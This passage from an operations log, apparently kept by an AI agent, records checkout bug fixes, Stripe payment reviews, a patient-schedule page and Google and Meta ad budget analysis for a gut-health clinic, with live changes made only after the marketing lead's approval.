elements.submit()) or at createBooking. The last good payment, Oct 6 08:54 PT, predates five deploys:252a148d6dVideoPlay,4bd302fb7fvideo move,38a9e603a3abandoned-booking capture,4d3983bac2captions off,d54e33d161Sendblue. The error text is in GA4checkout_error.error_message(Google login expired 2026-10-09) and, for the two Oct 9 errors, in Clarity'scheckout_errortag (live since Oct 8 21:47). Fix before retargeting spends: the Abandon Carts tier is exactly these people. Other Klaviyo starts in the window: our mailinator tests (Oct 8 00:29–02:24) and David (Oct 8 13:03, no pay press). - 2026-10-09 16:55 — DIAGNOSED: the pay failures are a page trap, not a broken payment system (GA4 minute-by-minute, after David's Google re-login;
error_messageis NOT a registered GA4 dimension, so the text itself isn't readable there). None of the three ever completed the card form (nocheckout_payment_details_completebefore the press): Oct 8 10:12 Mac Chrome US (press → error, gone); Oct 9 01:36 Android Chrome Canada (press → error, then opened Google Pay at 01:37 and quit; came back at 03:46 through the reminder email,checkout_resumed, and left again); Oct 9 03:31 iPhone Safari India (opened Apple Pay, then pressed the button → error). Cause inCheckoutView.tsx: when a wallet is on offer (Apple Pay, Google Pay, Link — most phones and Chrome) the card form is COLLAPSED behind "Pay by card", but the yellow "Schedule Your Call" button is live once time + name + email + phone are in; pressing it runselements.submit()on the hidden, empty card form, Stripe returns a card-incomplete error, and it prints as a small line under the payment step about a field the person can't see. Second trap in the same data: the button is silently DISABLED while the phone is missing or invalid (an Australian Samsung visitor, Oct 8 13:26, completed the card twice and never entered a phone; no press was possible and no message said why). Proposed fix (awaiting David's go, it changes the live checkout): the button opens the card form, scrolls to it and says "Enter your card below, or use Apple Pay / Google Pay above" instead of submitting an empty card; the button stays pressable and names the missing field (phone) instead of going grey; the error also shows in the pinned bar. Optional: registererror_messageas a GA4 event dimension so future error text is readable (a property setting; not done). - 2026-10-09 17:10 — FIX SHIPPED + GA4 dimension registered (David: "1. yes ship the fix 2. yes register it"). cal-checkout
074d81d49c: the yellow button runsschedule()— a missing name / email / phone is said in the pinned bar and its field is focused (the button no longer greys out silently); with no complete card the card form opens, scrolls into view and the bar says "Add your card to book, or use the pay buttons above it." (no wallet: "Add your card to book."); only a complete form reachespay(). Wallet payments unchanged. New GA4 events:checkout_card_prompted(card_was_hidden) andcheckout_blocked(reason). GA4 custom dimension "Checkout error message" (error_message, event scope,customDimensions/16098756780) — readable from 2026-10-09 on, not retroactive. - 2026-10-09 17:29 — QA PASSED on the live page, phone-sized (375×812), with a real card (David: "you need to test it with a card, my card"; he typed the card and pressed, we used made-up booker details). In this browser a wallet button (Google Pay) was on offer, so the card form started collapsed: the exact trap. (1) Press with no card → the card form opened (0 → 381 px), scrolled into view, the pinned bar said "Add your card to book, or use the pay buttons above it." (2) Phone cleared → press → button still active, bar said "Check your phone number…", phone field focused and in view. (3) Real card → Stripe $50.00 succeeded 17:29 PT (card, not a wallet), booking #23 uid
4ADaCzGUACCEPTED + paid for Thu Oct 22 9:45am, the 50-character test note on the booking, calendar reference apple_calendar, landed on /thank-you-confirmation/ (so one test conversion went to Google Ads / Meta). Cleanup owed: David refunds the $50 in Stripe; the booking gets cancelled on his OK. Also today: two real patients paid through the page (10:55 and 16:14 PT, one with Apple Pay), so payments were working for people who did not hit the trap. - 2026-10-09 17:45 — A missing field is shown, not just named (David: "If they are missing the phone or email, do you want the browser to scroll up and then shake that field and make it red?"). cal-checkout
5d8ca1b6f3: the pay button scrolls to the field, outlines it red (#D92D20), puts its message right under it, shakes it once (360 ms; skipped under prefers-reduced-motion), focuses it inside the tap (the phone's keyboard opens); the card form gets a red ring + message; the flag clears itself the moment the field is fixed. An empty phone reads "Add your phone number so Dr. Dasari can call you." QA live at 375×812 from the BOTTOM of the page: phone and email each scrolled up, went red, showed the message, shook (animation running) and took focus; typing fixed values cleared the red and the bar line; no card → card form opened with the red ring and message. Screenshot trap: with the desktop app's Browser pane HIDDEN, Stripe's cross-origin frames (card fields AND the Google Pay button) paint blank in screenshots although laid out at full size, with or without the shake — checktabs_contextbefore reading a blank Stripe frame as a bug. - 2026-10-09 09:10 — Meta retargeting launch: step 0 (register) + step 1 (source) (David: "Lets move forward and start the next steps for launching this retargeting campaign. we ned to put the ads int he ad sourcing studio and all that").
mgiis in the master registrytools/brand-hub/brands.json(J&T boardmgi→creative/mgi-ads/, empty until round 1; librarymgi-own→creative/mgi-own/; landing page MG-01 = the booking page,creative/mgi/pages-manifest.json). Our 2024 Meta ads on the J&T board, step 1 (Source & Feedback), for keep / refine / kill, built by the newtools/meta-own-ads-swipe.py(read-only Graph; one card per creative, ads with the same media + text folded; poster = the hook frame where the file is readable; the card's preview link plays the real ad): 22 ads → 15 creatives (8 videos, 4 statics, 3 carousels), $2,193 spent, 2024-05-10 → 2024-05-24, campaigns MGI_USA_Prospecting + MGI_Retargeting (the 2024 retargeting copies ran the same creatives). Best: "Foods to avoid with ulcerative colitis" video $636 · CTR 3.9% · 224 LPV (its retargeting copy: CTR 4.87%, link CTR 4.08%); **"Foods to avoid with Crohn's disease" $362 · CTR 4.3% · 106 LPV; "Wean off biologics with new IBD approach" $199 · 58 LPV; static "I reversed Crohn's disease. You can too…"** (Sarah T.) $293 · CTR 4.3% · 95 LPV; the 1:1 re-edits of 2024-05-28: UC $120 · CTR 5.4%, Crohn's $123 · CTR 4.9%, General intro ("Gut surgeon solves auto-immune") $44 · CTR 6.5%. Meta's conversion counts sit on the cards under Meta's own names (offsite_purchase_add_20_s_calls…), not checked against bookings. The four 1:1 re-edits are saved locally (creative/mgi-own/videos/, gitignored); the earlier files were uploaded by another business and Meta withholds them (preview links still play). **Dr. Dasari's own bans (§5) vs the 2024 creative:** the four statics' on-image headlines say "I reversed …" (a banned word) next to named "former patients" (Sarah T., Jared B., Laura H., Martin S.; whether they are real patients is unknown), and the first Biologics and General cuts show "REAL RECOVERY. GUARANTEED." (their Meta thumbnails); all four 05-28 re-edits end on "REAL RECOVERY. WITHIN REACH." (checked frame by frame). A keep on a banned-word creative means a re-cut before it runs. Next: David's keep/kill → the Angle Studio bank for MGI (CL-20) → retarget ad sets per tier ($15/day each, 1 ad per ad set, AD### codes, LPV) →tools/ads_launch.pydry run → his go. - 2026-10-09 18:00 — All our videos on the board (David: "pull in all the videos from YouTube and our Dropbox, and Asset folders, and put them into the Our Ads judgement board … scrape them from youtube as its our content").
tools/own-videos-swipe.pyinto the same library (renamed "Our ads & videos"), merged bytools/own_library.py: YouTube @MindGutImmunity (channel UCa15t47Qr1RyU9YEZETipSQ): 421 uploads, 197 Shorts (367.6K views; each plays whole on its card) + 224 videos (3.0M views; the card plays the first 60 s, links the full video); 419 have a preview, 2 offer no downloadable format (poster + link). Most-viewed = the "4 Common Foods that Make ___ Worse [AVOID THIS]" series: Eczema 238K · Lupus 235K · UC 152K · MS 126K · Psoriasis 112K · Crohn's 96K — the same "foods to avoid" idea as the best 2024 Meta ad, so it is the lead candidate for the Angle Studio. A "Health Coach fixes ANA+, SLE Lupus" patient story has 163K. Dropbox: Dr. Dasari's Dropbox is synced on David's Mac (~/Library/CloudStorage/Dropbox-Cdasgud→ `Cdasgud Team Folder/MGI CLINIC`, 223 videos, 278 GB, online-only; the File Provider fetches only the bytes read, so nothing downloaded whole): 222 cards in one section per folder (finished folders first — 961 VIDEO ASSETS, AD ASSETS - CREATIVES, ASSETS, Chanu Hooks, EXPORTS, Shorts Captioned, YOUTUBE SPEC … — raw shoots last); the asset folders are ASSETS, AD ASSETS - CREATIVES and 961 VIDEO ASSETS (nothing for MGI in David's Google Drive or personal Dropbox).EXPORTS/Youtube Intro_NEW-USE_USE_FINAL.mp4is a broken export in Dropbox itself (no moov atom). Previews (1.6 GB, git-ignored) live increative/mgi-own/videos/on this Mac; posters + manifest are tracked. - 2026-10-11 — Failed payments, 30 days (Stripe read-only; David: "Can you see which payments failed and why?"). Booking page: ONE failure — Oct 11 09:38 PT, $50, Cash App Pay, "The customer did not approve the payment before it expired" (booker time zone Asia/Calcutta; Cash App is US-only) → booking #26
5w6RdexFleft PENDING + unpaid for Mon Oct 12 15:30Z (not on Dr. Dasari's calendar). No card declines on the booking page; the Oct 8–9 failures never reached Stripe (the fixed page trap). Since the fix: 0 CheckoutError on the pixel. ⚠ Double charge: booker keyadb66a(sha1 of email) paid $50 twice via Link, 37 s apart (Oct 11 13:14:15 / 13:14:52 PT) → bookings #277PgUPhKE(Mon Oct 12 15:45Z) and #28cH3oiHWm(16:15Z); cause unknown (no pixel events for that person; Clarity has the session) — clinic to contact + refund one. Calendly: ~40 unfinished $50 intents (requires_payment_method, no decline) = people leaving Calendly's payment step; newest Oct 9 (MS) and Oct 10 (Lupus). **Program payments (same account):** Sep 22 $6,800 "Subscription creation" declined card_velocity_exceeded, customer never paid after (a stalled enrollment worth a call); Sep 23 $3,400 velocity decline then paid 2 min later + second $3,400 Sep 27 (resolved); Sep 24 $180 installment declined stolen_card, never recovered; Sep 28 + Oct 1 $180 insufficient_funds, paid Oct 8 (resolved); Oct 7 $160 installment open (no attempt). The QA booking #23 is cancelled and its $50 refunded. - 2026-10-12 — Today page for Dr. Dasari (David: "Dr. Dasari can't see all of his appointments because he doesn't call them at the right time. Once he's late for an appointment, it doesn't show up on the dashboard. He just wants one page … that shows all of the appointments for that day"). Cause: cal.com's Bookings → Upcoming tab filters out a booking once its END time passes, so a 15-minute call he was late for moved to "Past". cal-checkout
6b33916162:/today(server page, logged-in host only; an ADMIN sees every host): all of the day's bookings by start time in his time zone, marks Next / Now / Time passed / Not paid, not confirmed / Cancelled (cancelled fold away), patient name, event + condition (BookingAttribution), the patient's own local time when it differs, a tap-to-call phone (booking form → attendee → reminder number), the notes, email, "Open booking"; ‹ › / "Back to today";router.refresh()every 60 s. Also: Clarity now loads on /checkout/ pages only — the root layout had it on the logged-in dashboard too, where patient names/conditions are plain text that Clarity's default masking does not cover; the Today list carriesdata-clarity-maskas well. The Meta pixel still loads app-wide (dashboard PageViews reach the "Site visitors" audience — noise to remove when convenient). The condition map moved toapps/web/lib/conditions.ts. - 2026-10-14 — "Lots of bookings, nothing in Google Ads attribution" — read-only answer (David). Bookings since Oct 6 vs BookingAttribution: 5 Google-click bookings (gclids, all landing on /fix-ibd-naturally/), the rest carried NO Google click (direct / organic / YouTube / emails). Every gclid traced in
click_viewto account 408-427-8533: Oct 6 ← Symptom Bridge (Oct 6 click) · Oct 9 ← Brand Capture · Oct 10 ← Intestinal Inflammation · Oct 11 double booking ← Symptom Bridge (Oct 10 click) · Oct 13 20:21 PT ← Intestinal Inflammation (Oct 11 click). Ads recorded "Discovery Call Booked ($50)" 4× (by click date Oct 6 ·1, Oct 9 ·1, Oct 10 ·2; the double = one, count ONE per click); the Oct 13 one was NOT in Ads ~10 h later. Ads reports a booking on the AD CLICK's date, so "the last few days" in the UI shows none: the recent Google bookings' clicks were earlier, and the other recent bookings were not Google clicks. GA4 gives everycheckout_paidsession source "(not set)" (separate fix owed); booking-page views by source show a (direct) spike Oct 11 (43 vs 7–17) and Google organic up Oct 12. The tag container (GTM-NBQBWTR8 v13) and AW-18380915648 load on the live page; linker on; ad_storage granted. "Discovery Call Booked (imported)"7810437834has never received an upload — the daily file exists (/api/ads/conversions, 5 gclids) but no Ads schedule pulls it. Proposed (Ads change → David's go): switch the import on so a booking reaches Ads even when the browser drops the tag, and count only one of tag / import in the bidding goal; tag our own links (reminder emails, YouTube) so non-Google bookings get a source. - 2026-10-15 — Patient search on the Today page (the clinic, via David: "Can we have a search feature in cal diy- for client names? I just had someone sign up for the program. And I don't know who she is"). cal-checkout
d28fe14e38: a search box at the top of/today→ every booking whose attendee matches (all words of the name in any order, part of the email, or a phone's digits inside the stored E.164; cancelled + unpaid included; newest first; 50 max), shown as the Today card plus its date and "Booked <date>"; a past call reads "Past call" (gray), not the day list's red "Time passed". The query is POSTed to/api/today/searchand never put in the URL: GA4 and the Meta pixel load on the dashboard and send page URLs, so a?q=would hand patient names to Google and Meta; autocomplete off. Same scope as the day list (an ADMIN searches every host). Limit: only people who booked through book.mgiclinic.com are in it — bookings on the Calendly events still live (rheumatoid, MS, IBS, fatty liver, SIBO, lupus) and program buyers who never booked a call are not. Tested on a scratch copy of the schema with fake patients (27 checks). LIVE 09:47 PT (Railway success); signed out:/today→ 307 login, POST search → 401, GET → 405, booking page 200. A signed-in search on the live site is still to run (no dashboard login in the browser pane; passwords are David's). - 2026-09-30 (open) — Calendly after-payment redirects (fix A): needs the clinic's
mgiclinicCalendly login; David's Chrome is signed in to his own Calendly. Six events → https://www.mgiclinic.com/thank-you-confirmation/: rheumatoid, multiple-sclerosis, ibs, fatty-liver, sibo, lupus. Also open: David resets his WordPress password; WP Engine malware scan (needs the WPE login holder); Stage 1 week-one read ~2026-10-07; free pages + calendar = Dr. Dasari's calls. - 2026-09-30 — Rollout asks answered by David: Calendly after-payment redirects (fix A) approved; blog "Get Started" (B) and the three empty "Schedule A Discovery Call" buttons (C) → /discovery/, approved, held until the cleanup; broken %20 / Webflow links (D) ignored. Calendar: the checkout does NOT see Calendly bookings (Oct 5 09:30 taken in every Calendly event, open in the checkout; both sell Mon–Thu 8:00–9:45).
10 · Change log
- 2026-11-15 (21:03 PT) — A $6,800 sign-up David couldn't find as a contact (he gave the email in chat; no personal details kept here). Read-only, nothing changed anywhere. Stripe read with David's read key …kFSo; the booking app's saved key …g3RK in
~/.calcheckout/secrets.envnow answers api_key_expired (the live app runs on the rotated key). What a Kajabi program checkout that never gets a card leaves behind: a Stripe customer with Kajabi'skjb_member_idmetadata whose name is the email's username (no name typed); a subscription that goes incomplete_expired 23 hours later; the $6,800 "Subscription creation" invoice voided and its PaymentIntent canceled, with no payment method, no charge and no decline. Klaviyo receives the Stripe integration's "Issued Invoice" event ($6,800) on the profile. Searching a name in Stripe (and likely Kajabi) misses these people: search the email. This one (Sat Nov 14, 18:57 PT): a lead from India who joined through the Allergies training form on Nov 10, came back 3 hours after the checkout and joined the Crohn's training form, never booked a $50 call (no booking-app match on the email's hash), email subscribed, never SMS. The name and phone sit on the Klaviyo profile only. Nothing followed up on the abandoned checkout: the one email after it was the Crohn's form's welcome. Idea for David: a Klaviyo flow on "Issued Invoice" with no payment within a day → a note from the clinic. - 2026-11-09 (12:41 PT) — Live read after David re-ran the Google login; corrects the 12:35 entry below. Nothing changed in the account. All five climb campaigns read bid status ENABLED, none in Learning, after this morning's raises. Primary status: four ELIGIBLE, International LIMITED with a reason v24 can't name (UNKNOWN). Symptom Bridge's targets confirmed live: US, Canada, UK, UAE, Saudi Arabia, presence only. International excludes only the US. Correction: a UK booking on Symptom Bridge on Nov 8 (1 payment submitted; the 12:35 read stopped at Nov 7). Oct 12 – Nov 8: US $572 (70%), 196 clicks at $2.92, 5 picked, 2 booked; abroad $242 (30%), 124 clicks at $1.95, 9 picked, 1 booked (UK). The bidding goal scored abroad $162 against the US's $174, $0.67 per $1 against $0.30. Canada alone scored $0.45 per $1 with 0 bookings, on cheap clicks ($1.90) and 5 time picks. Over its life (Aug 18 – Nov 9): US $1,464 (60%), 474 clicks at $3.09, 8 picked, 4 booked, $366 a booking; UK $443 (18%), 231 clicks at $1.92, 2 picked, 1 booked; Canada $360 (15%), 224 clicks at $1.61, 5 picked, 0 booked; UAE $87 and Saudi Arabia $41, 59 clicks, 2 picked, 0 booked; about $61 in 22 other countries in its first weeks. Bookings by date: US Oct 6, Oct 10, Oct 24, Oct 29; UK Nov 8. Impression share Oct 26 – Nov 8: shown 10%, lost 23% to budget and 66% to rank. Proposal narrowed: on Wed Nov 11, in place of Symptom Bridge's raise, drop Canada, UAE and Saudi Arabia and keep the US and the UK. That moves about $9 a day (24% of the last 4 weeks) to the US, and the UK stays because its one booking cost about what a US booking does. His go pending.
- 2026-11-09 (12:35 PT) — US-only on Symptom Bridge: what it would do (David: "What happens IF we US-only that campaign? would it go back into learning? how does it work"). A question, nothing changed in the account. Learning: Google's help page "About Smart Bidding learning" (support.google.com/google-ads/answer/13020501, read 11-09) says changes to budgets, targets and targeting settings, location named, take effect in the next auction, never trigger a Learning status and never remove history. Learning comes from a new or reactivated strategy, a changed conversion goal, or campaigns / ad groups / keywords added to or removed from the strategy, and lasts 7 days at most. (The API's status list still has a LEARNING_BUDGET_CHANGE value: read the five campaigns' status live once the login is fresh.) Symptom Bridge
24142664790targets US, Canada, UK, UAE and Saudi Arabia, people in the place only (presence). International24164365133targets every country but the US, so the four stay covered by International's own keywords. Oct 11 – Nov 7 (saved pull, Nov 8 21:55 PT): US $552 (69%), 186 clicks, $2.97 a click, 20 booking-button clicks, 5 time picks, 2 booked; abroad $248 (31%: Canada $149, UK $39, UAE $38, Saudi Arabia $23), 116 clicks, $2.14 a click, 20 button clicks, 8 time picks, 0 booked, 0 payments submitted. The bidding goal scored $273 from 55 actions; abroad gave $100 of it from 28 actions (51% of the actions on 31% of the money, $0.40 per $1 against the US's $0.31). That is why Maximize Conversion Value keeps about a third of the money abroad: it cannot see that no one abroad has paid. Impression share Oct 26 – Nov 8: shown 10–15%, mostly lost to rank (81–90% on Nov 6–8). Bid status ENABLED, primary status LIMITED (budget constrained) at the Nov 8 21:55 pull. At $36, US-only moves about $11 a day into US searches (+45% for the US side, more than two 20% steps). Clicks cost about 12% more on the mix alone, and likely more as it bids into searches it now loses on rank. If the moved money books like the current US money ($276 a booked call, from 2 bookings), that is about one more booked call a month. Proposed to David: the switch on Wed Nov 11 in place of Symptom Bridge's raise (the other four step), and from thenbudget_step.pycompares its US click price to its US click price before (the mix alone reads as a +12% price rise). His go pending; an undo (adding the four back) needs his go too. The Google sign-in lapsed again at ~12:29 PT (invalid_rapt): David re-runs the login before Wednesday's step. - 2026-11-09 (10:14 PT) — Budget climb step 1 LIVE on five campaigns (David: "Lets raise the 5 campaigns i listed by 20% every two days instead of every day"). Before → after, per day: Brand Capture
24141238541$15 → $18; International24164365133$40 → $48; Intestinal Inflammation24135594915$60 → $72; Symptom Bridge24142664790$30 → $36; Ulcerative Colitis24146110729$60 → $72. The five go $205 → $246, enabled budgets $375 → $416/day. Validate-only first, then made through the API; read back all five OK; none of the budgets is shared. Undo:python3 clients/mgi/tracking/budget_step.py revert --snapshot clients/mgi/tracking/budget-steps/snapshot-20261109-1014.json --execute(a revert is a change too: his go first). His decisions the same message: the five from his screenshot, Ulcerative Colitis and Intestinal Inflammation included over my advice to hold them; 20% every two days (Mon / Wed / Fri), not daily; the two stop rules removed ("everything stops after Friday" and "two weeks without a booked call drops back a step"); Cash App Pay stays ON; US-only on Symptom Bridge held so it doesn't go into learning, and it is the next priority decision. The toolclients/mgi/tracking/budget_step.py(status · step · revert, on the tcpa_step pattern) holds a campaign whose spend stayed under 90% of its budget or whose cost per click rose 25% or more over the week before its last raise, refuses under 2 days since a raise, and refuses when a live budget differs from its log (budget-steps/state.json). - 2026-11-09 (10:10 PT) — Scaling pace and levers (David: "I want to start scaling 20% per day, is that pretty reasonable plan? Now how do we scale it, just up the budget, or do we add negative keywords or pause keywords that havent spent, like how does it work?"). Advised 20% steps every two days (Mon / Wed / Fri), not daily: the three winners book about 3 calls a week between them, and 20% a day compounds to 3.6 times in a week. Room a raise can buy, from impression share lost to budget Oct 25 to Nov 7: Brand Capture shows on 48%, loses 27% to budget → about $23/day; International 25% / 12% → about $58/day; Symptom Bridge 11% / 24% → about three times today's budget, about $65/day of it US. Proposed: Mon Nov 9 $18 / $48 / $36; Wed Nov 11 $22 / $58 / $43; Fri Nov 13 Symptom Bridge $52, the other two hold; read Mon Nov 16; stop after Friday until the clinic answers on program sales (13.5% close = about $3,400 of Google spend per $6,800 sale at $462 a call; 3.4% = about $13,600). Before each raise: spent at least 90% of the last budget, cost per click under a quarter above the prior week; two weeks without a booked call = back a step. Levers, read-only, 4 weeks: the winners run on 7 keywords, every one spending, so nothing to pause: Brand Capture "dr dasari" $202 QS 5 (2 booked), "mgi clinic" $112 QS 8 (2 booked), "mind gut immunity" $81 QS 10 (no time picked); International "ulcerative colitis treatment" $469 QS 7 (14 picked, 0 booked, within chance at its 1-in-13 rate), "crohn's treatment" $335 QS 5 (2 booked), "inflamed intestines treatment" $290 (2 booked); Symptom Bridge "gut health doctor" $801 QS 1 (2 booked). Search terms that never picked a time: Brand Capture $169, all searches for his own name; International $299 over 1,629 terms; Symptom Bridge $203 over 437 terms; the largest single term $10; Google shows a term for only about a third of the spend. Negatives = cleanup, not scale. Geo: Symptom Bridge spent $248 (31%) outside the US for 8 time picks and 0 booked; its US $552 → 2 booked = $276 a call; Brand Capture $46 (12%) outside, 0 booked. Proposed pulling US-only on Symptom Bridge into round one: remove Canada, UK, UAE, Saudi Arabia (location option already presence). Nothing changed in the account.
- 2026-11-09 (09:40 PT) — "Why dont we scale these campaigns?" (David, screenshot of Brand Capture, International, Intestinal Inflammation, Symptom Bridge, Ulcerative Colitis). Three are already round one. The two left out, read-only, Oct 11 to Nov 7: Ulcerative Colitis $532 per booked call, above the $462 account average; its last two weeks read $395, but that is 2 bookings from 3 people who picked a time (the account books 1 in 6.3); cost per time picked went $101 → $264 between the halves, the worst of the eight live campaigns ($145 over the 4 weeks, also the worst). Intestinal Inflammation $663 per booked call, $556 → $824 between the halves; cost per time picked $104 → $165; all its spend runs through "bowel inflammation treatment" at Quality Score 1, so a raise buys more of the dearest clicks; the keyword fix (round two) comes first. Google marks six of the eight live campaigns BUDGET_CONSTRAINED ("Limited by budget"), both of these included, and International LIMITED for an unstated reason; Brand Capture is ELIGIBLE. The label says a campaign could spend more, not that the extra spend books cheaply. Google's budget simulator only offers points 2 to 8 times today's budgets and counts the funnel-value goal, so it is not read for a +20% step. Account change found: Discovery Net — Test Reserve
24141238718paused by David in the Google Ads web UI at 22:15 PT Nov 8, the only change since the plan; enabled budgets $390 → $375/day. No labels on any campaign. Google's own "raise your budget" recommendation (MARGINAL_ROI_CAMPAIGN_BUDGET) sits on seven campaigns, Discovery Net included and Brand Capture and International not, so it does not pick winners either. Nothing changed by us. - 2026-11-08 (22:40 PT) — Google Ads plan split into two rounds (David: "for this round, what I want to do is only scale the winners ... Round two is then to use geo targeting, all the stuff you're mentioning, keywords, etc."). Read-only, 4 weeks Oct 11 to Nov 7: $10,616, 23 booked calls, $462 each; every enabled campaign spends its full budget. Round one, budgets only, +20% a step (house learning-phase rule): Brand Capture $99 per booked call (4), 36% of impressions lost to budget, $15 → $18 → $22; International $273 (4, all in the last two weeks), 33% lost to budget, $40 → $48 → $58; Symptom Bridge $400 (2, the same in both halves), 40% lost to budget, $30 → $36 → $43. Steps Mon Nov 9 and Thu Nov 12; step 2 only if each spent 90%+ of its new budget and cost per time picked is not up by half; read bookings Nov 16 and Nov 23; hold Thanksgiving week; step 3 Nov 30 if the three stay under $450 per booked call over 4 weeks and the next-7-days calendar is under 75% full; any of the three two weeks without a booked call goes back a step. Not scaled: Ulcerative Colitis $532 ($395 last two weeks, $389 inside the US), Crohn's $552, Treatment Seekers $620, Intestinal Inflammation $663, Proven Winners $682 ($1,005 last two weeks), Discovery Net $408 for none. Round two, each its own go: (1) US-only on the seven US campaigns: Canada, UK, UAE and Saudi took $2,456 of their spend (23% of the account) for 1 booked call; inside the US they book at $391; their location option is already "presence", the leak is the targeted countries. (2) Pause Discovery Net. (3) Two weeks later re-rank on US-only numbers: Ulcerative Colitis up as a winner, Proven Winners ($735 in the US) and Intestinal ($606) down 20%. (4) Quality Score: "bowel inflammation treatment" carries all of Intestinal's $1,657 at QS 1 and "gut health doctor" all of Symptom Bridge's $801 at QS 1; QS 1 to 3 took 47% of keyword spend; fix with an ad group per phrase, the phrase in the headline and on the page. Biggest lever outside Ads: of 145 ad visitors who picked a time, 102 entered details, 29 submitted payment, 23 booked. Left alone, with reasons: funnel-value bidding (still calibrated over 4 weeks: 1 in 6.3 time-pickers book, $9 set vs $7.90 implied; 1 in 31 button-clickers, $1.40 vs $1.59; International runs looser, 1 in 13 and 1 in 66), ad schedule and devices (too few bookings; bid adjustments are ignored under this bidding), search terms (24% of spend visible at term level; brand searches stay in Brand Capture; drug-name lookups $26), paused PMax and Retargeting (policy-limited). "Calls from ads" is primary but counted 2 calls in 4 weeks. Later: merge the six US non-brand campaigns into two or three once round two settles; bookings-only bidding at 50+ booked calls a month. Nothing changed in the account.
- 2026-11-08 (22:00 PT) — Data Manager test passes validation. David's second re-login granted the Data Manager scope (token checked). The validate-only ingest of the 34 paid Google-click bookings (33 sent by gclid, 1 by gbraid; one id per event) into "Discovery Call Booked (imported)"
7810437834answered 200 with no field warnings; nothing recorded. Google keeps no status for validate-only requests, so whether our click ids match shows only after a real send (requestStatus:retrieveon its request id, a few hours later). Waiting on his go to send for real: a secondary action, so Conversions and bidding stay as they are; the 34 show under All conversions beside the web tag's count. - 2026-11-08 (21:45 PT) — Buyers re-matched on everything but email; still none came through a Google click (David: "The buyers on stripe have different emails, you gotta try to match them using other things"). Each program buyer (the Stripe charge, its customer, Checkout session and invoice) was scored against every $50 call (the checkout's booking details on the charge, or the Calendly charge): same Stripe customer, same card, same email, phone, first + last name allowing nicknames, middle names, double surnames and swapped order, last name + initial, the other email spelling the name, ZIP, and how soon after the call they bought. Program buyers on file carry no phone and only 35 of 59 a name; every one has a card and 55 a ZIP. Result: 59 buyers since Mar 1, 13 inside Google's 90-day window, 6 since click capture began Oct 1. 10 of the 13 link to a call (each by card or email), 1 only by ZIP + timing, 2 to nothing. None of the 6 since Oct 1 shares anything with any of the 38 Google-click bookings, so there is still nothing to upload for Program Registration. Correction to 21:10: one buyer since Oct 1 did book through the checkout, under another email (same card); that booking carries no Google click and no UTM. The cohort recount barely moves: October's 42 checkout callers, 1 bought (1 more possible); all checkout callers 2 of 59 (3.4%) against 39 of 289 on Calendly (13.5%), so the close-rate drop is real and not an email-matching artifact. Also found: the booking app's daily CSV for Google (
/api/ads/conversions, built as the scheduled-upload source for "Discovery Call Booked (imported)") has never been pulled: that action has 0 conversions and the account has no upload history, so the schedule was never set up in Google Ads. The re-login for the Data Manager test came back without the Data Manager scope (the token carries Ads, Analytics, Tag Manager and Cloud only), most likely an unticked box on Google's consent screen; the validate-only test answered ACCESS_TOKEN_SCOPE_INSUFFICIENT again. Nothing sent to Google Ads. Scripts in the session scratchpad:buyer_match.py(the links, masked output),dm_upload.py(now sends the linked buyers; validate-only unless--execute). - 2026-11-08 (21:10 PT) — Click-ID export built; no program buyer has an ad click to send (David: "Why dont you export the click IDS from the booking app? and then upload those? To see if anything matches and hits"). cal-checkout
afb79a9aa0(Railway success):GET /api/sms/booking-events?attribution=export&since=YYYY-MM-DD(webhook secret as bearer) returns each booking's full gclid / gbraid / wbraid with status, paid flag, times, utm source and campaign, and a SHA-256 of the booker's email normalised for Google (the address never leaves the database). Data Manager API switched on in Cloud project analytics-mcp-1779259762 (Service Usage, house login). Read: the attribution table starts Oct 1; 66 bookings since, 38 with a Google click id (34 paid). 0 of the 13 program buyers in Google's 90-day window match a booking with a click id, and none of the 66 attributed bookings belongs to any program buyer: the only checkout buyer booked Sep 30, the day before attribution capture began. So nothing is wrong with tracking for program sales; there are simply no ad-booked buyers since Oct 1 (the 0-of-43 October cohort above). Ready to send: the 34 paid ad bookings to "Discovery Call Booked (imported)"7810437834(not primary, not in Conversions) as the end-to-end proof, then every future buyer weekly. Blocked on David: thedatamanagerOAuth scope (the validate-only ingest answered ACCESS_TOKEN_SCOPE_INSUFFICIENT) and his go, since he said no Google Ads changes without one. Scriptscratchpad/mgi-gads/dm_upload.py(validate-only unless--execute;--bookingsadds the bookings). - 2026-11-08 (20:30 PT) — Program registrations → Google Ads: blocked two ways, and the bigger finding (David: "You have access to our Stripe data. You have their emails. Can you upload those and see if Google matches any, or what does it need? For the program registration stuff"). Google Ads side is ready: "Program Registration ($6,800)"
7716477305is UPLOAD_CLICKS, 90-day window, not primary and not in Conversions (an upload can't move bidding); the account has accepted the customer-data terms and has enhanced conversions for leads on; nothing has ever been uploaded. Blocked 1: a validate-onlyuploadClickConversions(13 rows, nothing recorded) answered CUSTOMER_NOT_ALLOWLISTED_FOR_THIS_FEATURE on every row: "New integrations for uploading click conversions should use the Data Manager API". Blocked 2: an email upload can only match emails Google's tag saw at booking time, and GTM-NBQBWTR8 v13 (2026-10-01) denies ad_user_data on book.mgiclinic.com on purpose (Calendly's iframe never exposed them either). What matches exactly with no personal data: the Google click ID the checkout stores with each booking (BookingAttribution; the read endpoint shows only 8 characters, so it needs a small export). Stripe, read-only: the program sells as "Subscription creation" $6,800 through the course platform's Stripe appca_69gs68VGriB, plus direct $3,400 / $1,000–2,000 plan payments; 42 buyers since May 1. Paid callers who later bought (matched by email or full name, refunds excluded): Calendly Apr–Sep 37 of 258 (14.3%, 9–20% a month; Aug 18%, Sep 17% when the callers were already Google's) vs the new checkout since Sep 30: 1 of 60 (October 0 of 43, 20 of them booked 3+ weeks ago). Buyers buy a median 7 days after the call (75% within 17, max 61). The buyers since mid-October paid no $50 call under the same email or name, and Klaviyo has no booking history for them, so they came in some other way. Bookings do reach Dr. Dasari's calendar (apple_calendar reference on every paid one of the newest 15). Inside Google's 90-day window: 13 buyers = 8 booked via Calendly (no click ID kept), 1 via the checkout (Sep 30), 4 with no call. So there is almost nothing to send yet, and at today's checkout rate a $462 booked call returns about $115 of program revenue. Suspects, unproven: show-up after the switch (Calendly's reminders gone, our texts undelivered), the Oct 4 bidding switch to a goal that values clicks and time picks (cheap, low-intent bookers, India), a change in the call itself, sales outside Stripe. Stripe read with the key David pasted on 11-05 (…kFSo), still live. Scriptsscratchpad/mgi-gads/(program_regs.py, cohorts.py, name_link.py, buyers_klaviyo.py). - 2026-11-08 (19:40 PT) — Google Ads: the 4-week read for scaling and a budget pacing proposal (David: "time to start scaling on google ads since we have good data now, lets take a look at it and give me some budget pacing recommendations"; "Look back for the last 4 weeks to make a judgement not just 2 weeks"). Read-only, API v24, 